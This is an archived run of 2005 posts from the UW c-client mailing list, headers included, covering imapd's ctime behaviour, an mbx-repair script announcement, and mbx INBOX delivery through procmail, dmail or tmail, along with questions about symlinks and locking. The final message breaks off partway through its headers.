mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3BIqaLS029413 for ; Mon, 11 Apr 2005 11:52:36 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3BIqZnt008668 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 11 Apr 2005 11:52:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3BIqQap013510; Mon, 11 Apr 2005 11:52:26 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3BIpRMP107736 for ; Mon, 11 Apr 2005 11:51:27 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3BIpQjR019360 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 11 Apr 2005 11:51:27 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3BIpQ5S001351; Mon, 11 Apr 2005 11:51:26 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3BIpPZb021734 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Mon, 11 Apr 2005 11:51:25 -0700 Message-Id: Date: Mon, 11 Apr 2005 11:51:25 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rob Henderson Cc: c-client@u.washington.edu Subject: Re: imapd changing ctime In-Reply-To: <200504111823.j3BINpxq020481@robwilco.cs.indiana.edu> References: <200504111823.j3BINpxq020481@robwilco.cs.indiana.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 11 Apr 2005, Rob Henderson wrote: > We have observed that the UW imapd is changing the ctime on mail folders > on every access, even when the folder is not modified. Fair question, unfair answer. :-) Blame the designers of UNIX. There is no way to "peek" at the contents of a file without changing either the atime or the ctime. If atime is changed, then checks for new mail based on atime will get false negatives. If after a peek you restore the atime to its previous value, the ctime gets changed as a side effect. One of the design goals of the new mailbox format we have under development is to address the backup problem. Since the underlying problem occurs with having mailbox metadata in the same file with message data, the only way to solve the problem is to split mailbox metadata into a different file. So, help is on the way, but there's no short-term solution. If you break imapd's changing of ctime, then you'll break new mail checking. You could try to convince the UNIX geeks of the world that their notion of file dates is wrong-headed, and that it should be possible for an application to peek at a file without altering its metadata in any way. Point out that, because of this UNIX design bug, backup applications (such as dump) kludge around this by doing raw filesystem access. However, I don't have much hope that you'll convince anyone, other than old farts like me who remember TOPS-20 and other systems which did file dates properly... :-( -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Apr 12 09:26:35 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Apr 2005 09:26:34 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3CGQYU1017480 for ; Tue, 12 Apr 2005 09:26:34 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3CGQXjx026005 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 12 Apr 2005 09:26:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3CGQOFK017182; Tue, 12 Apr 2005 09:26:24 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3CGPDn0119040 for ; Tue, 12 Apr 2005 09:25:13 -0700 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe7.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3CGPA0k003288 for ; Tue, 12 Apr 2005 09:25:12 -0700 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id j3CGPAC336094 for ; Tue, 12 Apr 2005 11:25:10 -0500 (CDT) Message-Id: Date: Tue, 12 Apr 2005 11:25:09 -0500 (CDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Tim Mooney To: c-client@u.washington.edu Subject: [announce] mbx-repair script MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN All- This relates more to the mbx-format supported by UW's imapd than to c-client, so I'll be brief. We make extensive use of mbx in our environment, and we occassionally run into corrupt mailboxes. Like many other sites, we've developed an in-house tool for automating some of the repair process with mbx-format mail folders. In the hopes that someone else will find it useful, we're making our mbx-repair script available. The script is written in perl, and uses a perl module I wrote, which I'm calling IMAP-UW-Mailutil, to talk to the `mailutil' program. It's mailutil that does all the work. Both the script and the perl module are available at ftp://ftp.nodak.edu/pub/ndsu/svg/mbx-repair I would consider both the script and the module to be "beta" quality. We've been using both in our environment for several months without problems, but there's plenty of room for improvement in both. Both are licensed under the same license as perl itself. Comments, suggestions and feedback welcome! Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 13 13:51:15 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Apr 2005 13:51:15 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3DKpFgt029441 for ; Wed, 13 Apr 2005 13:51:15 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3DKpEkG028747 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 13 Apr 2005 13:51:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3DKp6ko018258; Wed, 13 Apr 2005 13:51:07 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3DKnhxV112526 for ; Wed, 13 Apr 2005 13:49:43 -0700 Received: from x.xs4all.nl (x.xs4all.nl [194.109.237.135]) by mxe4.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3DKnfd2018449 for ; Wed, 13 Apr 2005 13:49:43 -0700 Received: from [192.168.10.5] (haydn-w.localnet [192.168.10.5]) by x.xs4all.nl (Postfix) with ESMTP id 8FA32A2C25; Wed, 13 Apr 2005 22:49:40 +0200 (CEST) Message-Id: <425D85E8.8080900@n200.com> Date: Wed, 13 Apr 2005 22:49:44 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Brand To: c-client@u.washington.edu Subject: when ought messages to get moved from spool to user's mbx INBOX? MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit X-Accept-Language: en, nl, es X-Enigmail-Version: 0.90.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have a question, or maybe I just need some advice. Consider this situation please: -There's a user called "info". The purpose of the user is to receive mail that will end up in a shared mail box that members of a group "info" can read and write to. -Postfix delivers messages to /var/spool/info (traditional unix style text file) -An mbx INBOX exists in /home/info (created by mailutil create #driver.mbx/INBOX) -Another user, Sam, has a symbolic link: "/home/sam/mail/info" pointing to "/home/info/INBOX". (Sam has a popular imap client that cannot get to mailboxes outside /home/sam/mail. Sam is very fond of this client because it interoperates with his handheld computing device. Sam is the boss.) The user "info" normally never logs in, but did anyway to see what would happen. As expected, whenever "info" uses imap or pine to open his INBOX, new messages get magically moved from the /var/spool/mail/info to /home/info/INBOX. (See bullet point 3 at .) But, if Sam uses imap to subscribe to the symbolic link and read messages, this act does NOT result in magically moving new messages from /var/spool/mail/info /home/info/INBOX. (My ugly workaround for the time being is a cron job that does the moving with mailutil.) Is it a bad practice to access a mailbox via a symbolic link? Shouldn't c-client move messages from the spool when a symbolic link is accessed that points to a user's mbx INBOX? If I am going about this the wrong way, I would be grateful for good advice. regards, Mark -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Apr 13 18:08:11 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Apr 2005 18:08:11 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3E18BXW007897 for ; Wed, 13 Apr 2005 18:08:11 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3E18AnP028245 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 13 Apr 2005 18:08:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3E17xEQ017170; Wed, 13 Apr 2005 18:07:59 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3E16iuF021420 for ; Wed, 13 Apr 2005 18:06:44 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3E16hmC006032 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 13 Apr 2005 18:06:43 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3E16h67015022; Wed, 13 Apr 2005 18:06:43 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3E16gIK011948 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 13 Apr 2005 18:06:42 -0700 Message-Id: Date: Wed, 13 Apr 2005 18:06:43 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Brand Cc: c-client@u.washington.edu Subject: Re: when ought messages to get moved from spool to user's mbx INBOX? In-Reply-To: <425D85E8.8080900@n200.com> References: <425D85E8.8080900@n200.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Given your usage pattern, I think that it would be better if you have postfix deliver messages directly to the mbx-format mailbox using tmail. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Apr 14 00:55:53 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Apr 2005 00:55:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3E7trk9021026 for ; Thu, 14 Apr 2005 00:55:53 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3E7tpVe026440 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 14 Apr 2005 00:55:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3E7tiAt011188; Thu, 14 Apr 2005 00:55:44 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3E7shx2054186 for ; Thu, 14 Apr 2005 00:54:43 -0700 Received: from mail.n200.com (x.xs4all.nl [194.109.237.135]) by mxe2.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3E7sgdo005347 for ; Thu, 14 Apr 2005 00:54:43 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.n200.com (Postfix) with ESMTP id 0AB3835A3B for ; Thu, 14 Apr 2005 09:53:37 +0200 (CEST) Received: from mail.n200.com ([127.0.0.1]) by localhost (postman [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 16935-02 for ; Thu, 14 Apr 2005 09:53:35 +0200 (CEST) Received: from [192.168.9.75] (unknown [213.201.178.215]) by mail.n200.com (Postfix) with ESMTP id F3317359EA for ; Thu, 14 Apr 2005 09:53:34 +0200 (CEST) Message-Id: <425E2185.9090206@n200.com> Date: Thu, 14 Apr 2005 09:53:41 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Brand To: c-client@u.washington.edu Subject: Re: when ought messages to get moved from spool to user's mbx INBOX? In-Reply-To: <425D85E8.8080900@n200.com> References: <425D85E8.8080900@n200.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit X-Accept-Language: en, nl, es X-Enigmail-Version: 0.90.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Virus-Scanned: by amavisd-new at n200.com X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.14 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >I have a question, or maybe I just need some advice. Consider this >situation please: > >-There's a user called "info". The purpose of the user is to receive >mail that will end up in a shared mailbox that members of a group >"info" can read and write to. >-Postfix delivers messages to /var/spool/mail/info (traditional unix style >text file) >-An mbx INBOX exists in /home/info (created by mailutil create >#driver.mbx/INBOX) >-Another user, Sam, has a symbolic link: "/home/sam/mail/info" pointing >to "/home/info/INBOX". ... > >... > >..if Sam uses imap to subscribe to the symbolic link and read >messages, this act does NOT result in magically moving new messages from >/var/spool/mail/info /home/info/INBOX. (My ugly workaround for the time >being is a cron job that does the moving with mailutil.) > > Thanks to Eduardo Chappa for explanation and discussion of better strategies to get incoming mail into an INBOX meant to be shared and accessed by multiple users at the same time. Here's a summary, in case someone else is trying to do the same thing. The behavior of c-client which moves mail from the incoming spool file to INBOX in the home directory is triggered by accessing the spool file. It therefore makes perfect sense that reading mail from a symbolic link pointing to the INBOX in the home directory won't trigger moving. A better strategy uses procmail and dmail to allow postfix to deliver incoming mail to the mbx INBOX. (Postfix by itself does not know how to write to mbx files.) I installed the dmail binary built from the imap kit into /usr/bin. I then made .forward and .procmailrc in /home/info. The .forward contains: "|/usr/bin/procmail" The .procmailrc contains: :0 fw |/usr/bin/dmail +INBOX As Mark Crispin pointed out later, postfix can also use tmail to deliver mail to mbx mailboxes (without having to use procmail). I have not been able to evaluate yet whether the tmail approach would be better suited to my situation. From pinedev@shivax2.cac.washington.edu Thu Apr 14 00:59:14 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Apr 2005 00:59:13 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3E7xDBC021132 for ; Thu, 14 Apr 2005 00:59:13 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3E7xAbP011721 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 14 Apr 2005 00:59:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3E7x5nO004900; Thu, 14 Apr 2005 00:59:06 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3E7wbp5074616 for ; Thu, 14 Apr 2005 00:58:37 -0700 Received: from mail.n200.com (x.xs4all.nl [194.109.237.135]) by mxe3.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3E7wakL015740 for ; Thu, 14 Apr 2005 00:58:37 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.n200.com (Postfix) with ESMTP id 9A74A35A3B for ; Thu, 14 Apr 2005 09:58:36 +0200 (CEST) Received: from mail.n200.com ([127.0.0.1]) by localhost (postman [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 16935-03 for ; Thu, 14 Apr 2005 09:58:35 +0200 (CEST) Received: from [192.168.9.75] (unknown [213.201.178.215]) by mail.n200.com (Postfix) with ESMTP id 338C2359E0 for ; Thu, 14 Apr 2005 09:58:35 +0200 (CEST) Message-Id: <425E22B1.8030100@n200.com> Date: Thu, 14 Apr 2005 09:58:41 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Brand To: c-client@u.washington.edu Subject: symbolic links to mailboxes and locking MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en, nl, es X-Enigmail-Version: 0.90.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Virus-Scanned: by amavisd-new at n200.com X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.137 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is it safe for several users to be accessing the same mbx mailbox via different symbolic links pointing to that mailbox? Assume that all users are doing this with c-client software, or even that all users are using imapd. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 14 01:12:03 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Apr 2005 01:12:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3E8C2fQ022343 for ; Thu, 14 Apr 2005 01:12:02 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3E8C1UM012376 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 14 Apr 2005 01:12:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3E8Br7C012104; Thu, 14 Apr 2005 01:11:53 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3E8Avp7088316 for ; Thu, 14 Apr 2005 01:10:57 -0700 Received: from mail.n200.com (x.xs4all.nl [194.109.237.135]) by mxe3.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3E8AuGp018384 for ; Thu, 14 Apr 2005 01:10:57 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.n200.com (Postfix) with ESMTP id 4019535A48 for ; Thu, 14 Apr 2005 10:10:56 +0200 (CEST) Received: from mail.n200.com ([127.0.0.1]) by localhost (postman [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 16935-05 for ; Thu, 14 Apr 2005 10:10:54 +0200 (CEST) Received: from [192.168.9.75] (unknown [213.201.178.215]) by mail.n200.com (Postfix) with ESMTP id A3A74359E0 for ; Thu, 14 Apr 2005 10:10:54 +0200 (CEST) Message-Id: <425E2595.3030202@n200.com> Date: Thu, 14 Apr 2005 10:11:01 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Brand To: c-client@u.washington.edu Subject: simultaneous access to incoming spool file by c-client and postfix MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en, nl, es X-Enigmail-Version: 0.90.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Virus-Scanned: by amavisd-new at n200.com X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.137 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Please consider 2 situations where messages are moved from spool files into mbx INBOX files in users home directories: A. c-client software automatically moves mail when software accesses incoming spool file. B. Someone explicitly invokes "mailutil appenddelete". The question is: Can corruption of the incoming spool file arise due to conflicts with software (such as postfix) that is delivering mail to the spool file? If so, what measures should be taken to prevent this from happening? Thanks. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 14 08:45:23 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Apr 2005 08:45:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EFjNX9007590 for ; Thu, 14 Apr 2005 08:45:23 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3EFjJJM015381 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 14 Apr 2005 08:45:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3EFjBlP004902; Thu, 14 Apr 2005 08:45:13 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j3EFhuOa085006 for ; Thu, 14 Apr 2005 08:43:56 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EFhtW5024776 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 14 Apr 2005 08:43:56 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EFhtT6011372; Thu, 14 Apr 2005 08:43:55 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) (authenticated bits=0) by smtp.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EFhsP3022357 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Thu, 14 Apr 2005 08:43:55 -0700 Message-Id: Date: Thu, 14 Apr 2005 08:43:54 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Brand Cc: c-client@u.washington.edu Subject: Re: symbolic links to mailboxes and locking In-Reply-To: <425E22B1.8030100@n200.com> References: <425E22B1.8030100@n200.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 14 Apr 2005, Mark Brand wrote: > Is it safe for several users to be accessing the same mbx mailbox via > different symbolic links pointing to that mailbox? Yes. However, don't use NFS with mbx format. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Apr 14 08:46:18 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Apr 2005 08:46:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.03/8.13.3+UW05.01) with ESMTP id j3EFkHXT007633 for ; Thu, 14 Apr 2005 08:46:17 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.4+UW05.03/8.13.4+UW05.01) with ESMTP id j3EFkGUU015463 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 14 Apr 2005 08:46:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j3EFkAOb019960; Thu, 14 Apr 2005 08:46:10 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu 